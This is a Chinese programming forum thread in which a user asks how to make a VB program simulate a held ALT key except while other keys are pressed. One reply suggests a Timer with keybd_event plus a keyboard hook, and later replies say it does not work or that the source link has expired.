VB 实现键盘监控
麻烦各位了,我想通过一个简单的程序实现这样一个效果:当我不对键盘做任何输入操作时,系统一直模拟按下ALT键的状态;但在我按下其它键盘其它按键的时候,ALT键的按下效果暂时消失,按键动作做完的那一刻,立刻又恢复状态.
下面是我的源文件链接,恳求高手们帮帮忙:

1、定义一个布尔变量bolAlt,在一个Timer控件中添加:当bolAlt为Ture时使用keybd_event来模拟发送ALT按键
2、使用钩子函数,当捕获到键盘的除ALT按键的按下消息和弹起以外的消息时,当捕获到按下消息时:设置bolAlt=False,那么就可以不执行发送Alt按键的步骤,当捕获到弹起消息时,恢复bolAlt=True,则可以进行ALT的模拟输入 --------------------编程问答-------------------- 实现不了,麻烦你看下源文件好吗? --------------------编程问答-------------------- UP ,高手支招啊 --------------------编程问答-------------------- 大哥,我想看的时候,文件连接已经失效了。。。
